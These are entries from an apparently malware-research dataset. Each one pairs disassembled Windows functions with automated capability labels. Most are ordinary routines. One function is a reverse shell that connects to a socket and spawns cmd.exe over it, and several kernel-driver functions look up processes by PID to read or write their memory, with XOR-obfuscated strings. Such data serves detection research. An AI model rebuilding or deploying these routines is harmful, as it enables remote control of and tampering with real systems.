joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001fea0
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, r8
mov r14, rdx
mov rsi, rcx
movzx eax, byte [0x14009e121]
mov ecx, 0x10
mov edx, 8
call fcn.1400033b0
test rax, rax
je 0x14001ff7f
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x140020010]
xor edi, edi
xor ecx, ecx
mov rdx, rsi
mov r9, rax
call qword [sym.imp.kernel32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14001ff71
mov rcx, qword [rbx]
mov qword [rbp - 0x18], rbx
mov rax, qword [rbx + 8]
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14001ff48
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
call fcn.1400033c0
mov edx, 0x10
mov r8d, 8
mov rcx, qword [rbp - 0x18]
call fcn.1400033c0
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
mov rax, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rbp - 0x10], r14
mov qword [rbp - 0x18], rdi
mov ecx, 8
mov edx, 0x10
call fcn.140031150
ud2

Function at 0x14002e340
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14002e3ba
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14002e3b0
cmp r10, r11
jb 0x14002e453
cmp r10, rdx
ja 0x14002e467
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x14002e3b2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14002e390
jmp 0x14002e427
ja 0x14002e3ba
mov r11, r10
cmp rax, r8
jne 0x14002e362
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14002e42b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14002e400
mov r8, r10
sub ecx, r9d
jns 0x14002e41e
jmp 0x14002e42d
cmp r10, rdx
je 0x14002e439
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14002e42d
xor al, 1
cmp r8, rdx
jne 0x14002e3e0
jmp 0x14002e42d
xor eax, eax
jmp 0x14002e42d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__valuelibrarycore_src_nummod.rsfrom_str_radix_int:_must_lie_in_the_range___2__36_____found
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.140031270
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140031740
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.1400316c0
ud2
Function at 0x14002ff34
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14002ff7e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002ff7e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002ff7e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002ff7e
cmp dword [rcx + 0x84], 0xe
jbe 0x14002ff7e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002ff80
xor al, al
add rsp, 0x28
ret
Function at 0x140001034
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov eax, dword [0x140003108]
lea r14, [rsp + 0x48]
movsd xmm0, qword [str.VMUHWOPSn_:D]
lea r9, [r11 - 0x28]
mov rsi, qword [r14]
xor ebx, ebx
mov dword [rsp + 0x28], eax
mov r8d, ebx
mov al, byte [0x14000310c]
mov edi, 0x3521cfb3
mov byte [rsp + 0x2c], al
mov qword [r14], rbx
movsd qword [rsp + 0x20], xmm0
mov eax, edi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
mov al, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9], al
inc r9
cmp r8d, 0xd
jl 0x140001097
lea rcx, [rsp + 0x20]
call fcn.140001488
cmp byte [0x140003127], bl
mov r10, rax
movups xmm0, xmmword [str.uTHkWM44_]
movups xmmword [rsp + 0x20], xmm0
movsd xmm0, qword [str._09____Od]
movsd qword [rsp + 0x30], xmm0
je 0x140001128
mov r8d, ebx
lea r9, [rsp + 0x20]
mov eax, edi
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
mov al, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9], al
inc r9
cmp r8d, 0x18
jl 0x1400010fb
lea rdx, [rsp + 0x20]
mov rcx, r10
call fcn.1400013c4
mov qword [0x140004038], rax
mov r9, rax
test rax, rax
jne 0x14000114b
mov ebx, 0xc000007a
jmp 0x1400011b7
lea rdx, [rsp + 0x48]
mov r11, r9
mov rdi, qword [rdx]
lea rbp, [0x1400030f0]
mov qword [rdx], rbx
mov r8, rbx
sub r11, rbp
lea r10, [r11 + r8]
mov rcx, rbx
add r10, rbp
mov al, byte [rcx + rbp]
cmp byte [r10 + rcx], al
jne 0x140001184
inc rcx
cmp rcx, 0x10
jb 0x140001170
je 0x14000119f
inc r8
cmp r8, 0x10
jbe 0x140001166
mov rcx, rbx
mov qword [rdx], rdi
test rcx, rcx
jne 0x1400011a5
mov ebx, 0xc0000001
jmp 0x1400011b7
lea rcx, [r8 + r9]
jmp 0x140001190
mov rcx, qword [rcx + 0x10]
and rcx, 0xfffffffffffff000
mov qword [0x140004040], rcx
mov qword [r14], rsi
mov eax, ebx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001ed0
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140001230
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x20
lea r15, [rsp + 0x48]
xor ebx, ebx
mov r14, qword [r15]
mov rdi, rcx
mov qword [r15], rbx
cmp dword [rcx], 0x67a5b78
jne 0x140001313
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x140001313
mov rcx, rax
mov qword [rsp + 0x50], rbx
lea rdx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140001313
mov rax, qword [0x140004030]
test rax, rax
jne 0x1400012ae
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
mov rcx, rax
call fcn.1400015c8
mov qword [0x140004030], rax
test rax, rax
je 0x140001313
mov rdx, qword [rdi + 8]
mov rcx, rax
mov rbp, qword [rdi + 0x18]
call fcn.140001c34
mov rsi, rax
test rax, rax
je 0x140001313
and eax, 0xfff
mov qword [rsp + 0x58], rbx
mov ecx, 0x1000
sub ecx, eax
cmp ecx, ebp
cmovl ebp, ecx
movsxd rbp, ebp
cmp byte [rdi + 0x20], bl
je 0x1400012f8
mov rdx, qword [rdi + 0x10]
lea r9, [rsp + 0x58]
mov r8, rbp
mov rcx, rsi
call fcn.140001e48
cmp byte [rdi + 0x21], bl
je 0x140001318
mov rdx, qword [rdi + 0x10]
lea r9, [rsp + 0x58]
mov r8, rbp
mov rcx, rsi
call fcn.140001b98
jmp 0x140001318
mov ebx, 0xc0000001
mov eax, ebx
mov qword [r15], r14
mov rbx, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001330
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x20
lea r14, [rsp + 0x28]
xor ebx, ebx
mov rsi, qword [r14]
mov rdi, rcx
mov qword [r14], rbx
cmp dword [rcx], 0x67a5b78
jne 0x1400013a1
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x1400013a1
mov rcx, rax
mov qword [r11 + 8], rbx
lea rdx, [r11 + 8]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400013a1
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
mov rcx, rax
test rax, rax
je 0x1400013a1
mov rax, qword [rdi + 8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x1400013a6
mov ebx, 0xc0000001
mov rdi, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x38]
mov qword [r14], rsi
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140001540
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x20
lea r14, [rsp + 0x28]
xor ebx, ebx
mov rsi, qword [r14]
mov rdi, rcx
mov qword [r14], rbx
cmp dword [rcx], 0x67a5b78
jne 0x1400015a4
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x1400015a4
mov rcx, rax
mov qword [r11 + 8], rbx
lea rdx, [r11 + 8]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400015a4
call qword [sym.imp.ntoskrnl.exe_PsGetProcessPeb]
test rax, rax
je 0x1400015a4
mov rcx, qword [rdi + 8]
mov qword [rcx], rax
jmp 0x1400015ab
mov rbx, 0xffffffffc0000001
mov rdi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x38]
mov qword [r14], rsi
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret

Function at 0x1400017d0
Capabilities:
Get system information on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea r14, [rsp + 0x58]
mov r8d, 0x20
mov rdi, qword [r14]
lea r9, [r11 - 0x38]
and qword [r14], 0
lea rdx, [r11 - 0x30]
mov dword [r11 - 0x38], r8d
mov esi, ecx
call sub.ntoskrnl.exe_ZwQuerySystemInformation
mov edx, dword [rsp + 0x20]
mov ecx, 0x400
mov r8d, 0xb1127cfc
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rbx, rax
test rax, rax
je 0x140001859
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rax
mov ecx, esi
call sub.ntoskrnl.exe_ZwQuerySystemInformation
test eax, eax
je 0x14000185b
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor ebx, ebx
mov qword [r14], rdi
mov rax, rbx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001ed0
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x1400024e0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rdi
cmp dword [0x140042b24], 0
lea rdi, [0x140042b20]
mov r11d, r8d
mov r9d, edx
mov r10, rcx
jne 0x1400025b8
mov qword [rsp + 0x10], rbx
xor edx, edx
mov rbx, rdi
nop dword [rax]
mov r8d, edx
lea rbx, [rbx + 4]
and r8d, 1
mov eax, edx
shr eax, 1
neg r8d
and r8d, 0xedb88320
inc edx
xor r8d, eax
mov eax, r8d
shr r8d, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, r8d
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov dword [rbx - 4], eax
cmp edx, 0x100
jb 0x140002510
mov rbx, qword [rsp + 0x10]
not r11d
mov eax, r11d
test r9d, r9d
jle 0x1400025ee
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r10]
lea r10, [r10 + 1]
movzx edx, al
xor rdx, rcx
shr eax, 8
xor eax, dword [rdi + rdx*4]
sub r9d, 1
jne 0x1400025d0
not eax
pop rdi
ret
movzx r9d, byte [r10]
lea r8, [r10 + 1]
test r9b, r9b
je 0x14000262f
nop dword [rax + rax]
cmp r9b, 0x23
jne 0x140002613
cmp byte [r8], r9b
jne 0x140002613
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rdi + rdx*4]
test r9b, r9b
jne 0x140002600
not eax
pop rdi
ret
Function at 0x140002830
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rdi, r8
test r8, r8
je 0x140002849
mov qword [r8], 0
lea rdx, [0x1400377c8]
call fcn.140002640
mov rbx, rax
test rax, rax
jne 0x140002868
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbp
xor edx, edx
mov r8d, 2
mov qword [rsp + 0x38], rsi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000292a
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x14000292a
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000292a
mov rax, qword [0x1400428e0]
mov rbp, rsi
test rax, rax
je 0x1400028c7
inc dword [rax + 0x3c8]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x14000292a
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rbp
je 0x140002917
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1400428e0]
test rax, rax
je 0x14000290c
dec dword [rax + 0x3c8]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140002933
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rdi, rdi
je 0x140002925
mov qword [rdi], rbp
mov rax, rsi
jmp 0x140002935
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140012620
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push r15
sub rsp, 0x20
mov rdi, qword [0x1400428e0]
xor esi, esi
mov r15, rcx
mov dword [rdi + 0x2d9c], esi
test rcx, rcx
je 0x14001273a
mov qword [rsp + 0x40], rbx
lea rbx, [rdi + 0x2da0]
mov dword [rdi + 0x2d9c], esi
mov ecx, dword [rbx + 4]
mov qword [rsp + 0x48], rbp
test ecx, ecx
jns 0x14001267a
mov eax, ecx
cdq
sub eax, edx
mov edx, esi
sar eax, 1
add eax, ecx
mov rcx, rbx
test eax, eax
cmovg edx, eax
call fcn.140013650
mov dword [rbx], esi
cmp dword [rbx + 4], esi
jne 0x14001268e
mov edx, 8
mov rcx, rbx
call fcn.140013650
movsxd rcx, dword [rbx]
mov ebp, esi
mov rax, qword [rbx + 8]
mov byte [rcx + rax], sil
inc dword [rbx]
cmp dword [rdi + 0x2db0], esi
jle 0x1400126da
mov qword [rsp + 0x50], r14
mov r14, rsi
nop dword [rax]
mov r9, qword [rdi + 0x2db8]
mov r8, rbx
add r9, r14
mov rcx, rdi
mov rdx, r9
call qword [r9 + 0x20]
inc ebp
add r14, 0x30
cmp ebp, dword [rdi + 0x2db0]
jl 0x1400126b0
mov r14, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
cmp qword [rbx + 8], rsi
je 0x1400126e9
mov esi, dword [rbx]
dec esi
mov rax, qword [rdi + 0x2da8]
lea rdx, [0x1400377cc]
test rax, rax
movsxd rsi, esi
lea rdi, [0x1400428d8]
mov rcx, r15
cmovne rdi, rax
call fcn.140002640
mov rbx, rax
test rax, rax
je 0x140012735
mov r9, rax
mov r8, rsi
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r15
pop rdi
pop rsi
ret
Function at 0x14001a650
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r11, rsp
push r13
push r14
sub rsp, 0xb8
mov r13, rcx
movsxd rax, r9d
xor ecx, ecx
mov qword [rsp + 0x60], rax
mov dword [rsp + 0xe8], ecx
mov r14, rdx
test r9d, r9d
jle 0x14001a8b2
mov qword [r11 + 8], rbx
lea rbx, [r8 + 0x20]
mov qword [r11 + 0x10], rbp
movzx ebp, byte [r13 + 0x24]
mov qword [r11 + 0x18], rsi
mov qword [r11 - 0x18], rdi
mov edi, 0x100
mov qword [r11 - 0x20], r12
xor r12d, r12d
mov qword [r11 - 0x28], r15
movaps xmmword [r11 - 0x38], xmm6
movaps xmmword [r11 - 0x48], xmm7
xorps xmm7, xmm7
movaps xmmword [r11 - 0x58], xmm8
movzx r11d, byte [r13 + 0x20]
movss xmm8, dword [0x14003be70]
nop word [rax + rax]
movss xmm6, dword [rbx - 0x20]
comiss xmm6, xmm7
jbe 0x14001a71a
movsxd r10, dword [r14 + 0x24]
mov r9, qword [r14 + 8]
movsx ecx, di
movzx eax, byte [r10 + r9 + 7]
movzx edx, byte [r10 + r9 + 6]
imul edx, ecx
movsx ecx, di
add dx, ax
movzx eax, byte [r10 + r9 + 5]
movsx r8d, dx
movzx edx, byte [r10 + r9 + 4]
imul edx, ecx
add ax, dx
cwde
sub eax, r8d
movd xmm0, eax
jmp 0x14001a739
movsxd rdx, dword [r14 + 0x1c]
xorps xmm6, xmm8
mov rax, qword [r14 + 8]
movzx ecx, byte [rdx + rax + 0x12]
movzx eax, byte [rdx + rax + 0x13]
shl ecx, 8
add ecx, eax
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
xor edi, edi
mov byte [rbx], r11b
mov byte [rbx + 1], bpl
divss xmm6, xmm0
cmp dword [rbx - 0x10], edi
jle 0x14001a850
mov r15, qword [rsp + 0xf0]
mov rax, r12
shl rax, 4
add r15, 6
xor esi, esi
add r15, rax
nop word [rax + rax]
mov rax, qword [rbx - 0x18]
test rax, rax
jne 0x14001a780
mov edx, dword [rbx - 0x1c]
add edx, edi
jmp 0x14001a783
mov edx, dword [rax + rsi]
mov eax, dword [r13 + 0x24]
xorps xmm3, xmm3
xorps xmm2, xmm2
mov rcx, r14
cvtsi2ss xmm3, rax
mov eax, dword [r13 + 0x20]
cvtsi2ss xmm2, rax
mulss xmm3, xmm6
mulss xmm2, xmm6
call fcn.140015980
mov edx, eax
mov rcx, r14
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
movss dword [rsp + 0x28], xmm7
movss dword [rsp + 0x20], xmm7
call fcn.1400182b0
movzx ecx, word [r13 + 0x1c]
inc r12
movzx r11d, word [r13 + 0x20]
movzx eax, cx
sub ax, word [rsp + 0x50]
dec cx
movzx ebp, word [r13 + 0x24]
dec ax
add ax, r11w
inc edi
add ax, word [rsp + 0x54]
add rsi, 4
mov word [r15 - 2], ax
movzx eax, bp
sub ax, word [rsp + 0x58]
add ax, cx
mov ecx, dword [rsp + 0xe8]
add ax, word [rsp + 0x5c]
inc ecx
mov word [r15], ax
add r15, 0x10
mov dword [rsp + 0xe8], ecx
cmp edi, dword [rbx - 0x10]
jl 0x14001a770
jmp 0x14001a857
mov ecx, dword [rsp + 0xe8]
add rbx, 0x28
mov edi, 0x100
sub qword [rsp + 0x60], 1
jne 0x14001a6d0
movaps xmm8, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x90]
mov r15, qword [rsp + 0xa0]
mov r12, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0xb0]
mov rsi, qword [rsp + 0xe0]
mov rbp, qword [rsp + 0xd8]
mov rbx, qword [rsp + 0xd0]
mov eax, ecx
add rsp, 0xb8
pop r14
pop r13
ret
Function at 0x14001e200
Capabilities:
Resolve function by parsing pe exports

Disassembly:
test r9d, 0xff000000
je 0x14001e3b9
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
movss xmm3, dword [rsp + 0x70]
xorps xmm0, xmm0
comiss xmm3, xmm0
mov esi, r9d
mov rdi, r8
mov rbp, rdx
mov rbx, rcx
jbe 0x14001e296
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x20], eax
call fcn.14001db70
mov r8d, dword [rbx + 0x80]
mov r9d, esi
mov rdx, qword [rbx + 0x88]
mov rcx, rbx
call fcn.14001d180
mov ecx, dword [rbx + 0x84]
test ecx, ecx
jns 0x14001e287
mov eax, ecx
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, ecx
lea rcx, [rbx + 0x80]
test eax, eax
cmovg edx, eax
call fcn.1400132d0
mov dword [rbx + 0x80], 0
jmp 0x14001e3a5
mov edx, 6
movaps xmmword [rsp + 0x30], xmm6
mov r8d, 4
call fcn.14001c060
movzx edx, word [rbx + 0x48]
mov rax, qword [rbx + 0x38]
movss xmm1, dword [rdi]
movss xmm2, dword [rbp + 4]
movss xmm3, dword [rbp]
lea ecx, [rdx + 1]
movss xmm6, dword [rax + 4]
movss xmm5, dword [rax]
movss xmm4, dword [rdi + 4]
mov rax, qword [rbx + 0x58]
mov word [rax], dx
mov rax, qword [rbx + 0x58]
mov word [rax + 2], cx
lea ecx, [rdx + 2]
mov rax, qword [rbx + 0x58]
mov word [rax + 4], cx
mov rax, qword [rbx + 0x58]
mov word [rax + 6], dx
add dx, 3
mov rax, qword [rbx + 0x58]
mov word [rax + 8], cx
mov rax, qword [rbx + 0x58]
mov word [rax + 0xa], dx
movsd xmm0, qword [rbp]
mov rax, qword [rbx + 0x50]
movsd qword [rax], xmm0
mov rax, qword [rbx + 0x50]
movss dword [rax + 8], xmm5
movss dword [rax + 0xc], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x10], esi
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x14], xmm1
movss dword [rax + 0x18], xmm2
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x1c], xmm5
movss dword [rax + 0x20], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x24], esi
movsd xmm0, qword [rdi]
mov rax, qword [rbx + 0x50]
movsd qword [rax + 0x28], xmm0
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x30], xmm5
movss dword [rax + 0x34], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x38], esi
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x3c], xmm3
movss dword [rax + 0x40], xmm4
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x44], xmm5
movss dword [rax + 0x48], xmm6
mov rax, qword [rbx + 0x50]
movaps xmm6, xmmword [rsp + 0x30]
mov dword [rax + 0x4c], esi
add qword [rbx + 0x50], 0x50
add dword [rbx + 0x48], 4
add qword [rbx + 0x58], 0xc
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140035e00
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140035e4a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140035e4a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140035e4a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140035e4a
cmp dword [rcx + 0x84], 0xe
jbe 0x140035e4a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140035e4c
xor al, al
add rsp, 0x28
ret

Function at 0x180776467
Capabilities:
Encode data using xor

Disassembly:
push qword [rsp + 8]
popfq
lea rsp, [rsp + 0x10]
call fcn.181046091
push rdi
and dword [rax + 0x4e], edi
mov esi, 0x9d70d76e
jns 0x180776471
insb byte [rdi], dx
mov ah, 0x29
mov ebp, dword [rcx]
lodsb al, byte [rsi]
push rcx
mov ebp, 0x63243f1b
xor eax, 0x3a24e931
invalid

Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Initialize winsock library

Disassembly:
push rdi
push rbx
sub rsp, 0x288
mov ecx, 0x202
lea rdx, [rsp + 0xe8]
lea rdi, [rsp + 0x84]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor eax, eax
xor r9d, r9d
mov r8d, 6
mov dword [rsp + 0x28], eax
mov edx, 1
mov ecx, 2
mov dword [rsp + 0x20], eax
call qword [sym.imp.WS2_32.dll_WSASocketA]
xor edx, edx
mov ecx, 0x115c
mov word [rsp + 0x58], 2
mov rbx, rax
mov qword [rsp + 0x5a], rdx
mov qword [rsp + 0x60], rdx
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.127.0.0.1
mov word [rsp + 0x5a], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea rdx, [rsp + 0x58]
mov rcx, rbx
mov r8d, 0x10
mov dword [rsp + 0x5c], eax
call qword [sym.imp.WS2_32.dll_connect]
xor eax, eax
mov ecx, 0x13
xor r8d, r8d
rep stosd dword [rdi], eax
lea rax, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
lea rdx, str.cmd.exe
mov qword [rsp + 0x30], r8
xor r8d, r8d
mov dword [rsp + 0x80], 0x68
mov dword [rsp + 0xbc], 0x101
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xd8], rbx
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
or edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call rdi
mov rcx, qword [rsp + 0x70]
call rdi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
add rsp, 0x288
pop rbx
pop rdi
ret
Function at 0x14000e110
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0xc0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x38], 0xfffffffffffffffe
mov rsi, rdx
mov rdi, rcx
add rcx, 0x48
xorps xmm0, xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp], xmm0
mov rdx, rbp
mov r8d, 0x20
call fcn.14017fd10
test rax, rax
je 0x14000e17b
